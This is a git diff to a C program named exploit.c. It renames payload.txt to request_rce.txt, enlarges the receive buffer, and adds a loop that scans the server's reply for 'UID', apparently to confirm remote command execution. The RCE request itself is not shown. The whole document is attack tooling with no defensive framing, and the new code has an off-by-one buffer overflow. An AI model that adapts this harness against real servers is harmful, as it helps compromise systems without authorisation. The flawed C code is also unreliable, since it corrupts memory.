diff --git a/exploit.c b/exploit.c
index 1b04beb..53bf81a 100644
--- a/exploit.c
+++ b/exploit.c
@@ -24,10 +24,10 @@ int main(int argc, char** argv){
   int ret = connect(fd,(struct sockaddr*)&dest_addr, sizeof(dest_addr));
   printf("ret_connect = %d\n", ret);
 
-  char buffer[100];
+  char buffer[1000];
   memset(buffer, 0, 100);
   
-  FILE* fichier_out = fopen("payload.txt", "r");
+  FILE* fichier_out = fopen("request_rce.txt", "r");
   fseek(fichier_out, 0, SEEK_END);
 
   
@@ -45,9 +45,20 @@ int main(int argc, char** argv){
   send(fd, "\r\n", 2, 0);
   int n;
   printf("recv:\n");
-  while (( n = recv(fd, buffer, 99, 0)) > 0){
+  const char* pattern_uid = "UID";
+  while (( n = recv(fd, buffer, 1000, 0)) > 0){
 	  buffer[n] = 0;
-	  printf("%s", buffer);
+	  int i = 0;
+	  while (buffer[i] != 0){
+		  if (buffer[i] && buffer[i] == pattern_uid[0] && buffer[i+1] == pattern_uid[1] && buffer[i+2] == pattern_uid[2]){
+			printf("UID found\n");
+		  	break;
+		  }
+		  i++;
+	  }
+	  buffer[n] = 0;
+	  memset(buffer, 0, 1000);
+	  //printf("%s", buffer);
   }
   fclose(fichier_out);
   free(file_buffer);
diff --git a/request_dir_with_token.txt b/request_dir_with_token.txt
new file mode 100644
index 0000000..e69de29
diff --git a/payload.txt b/request_rce.txt
similarity index 100%
rename from payload.txt
rename to request_rce.txt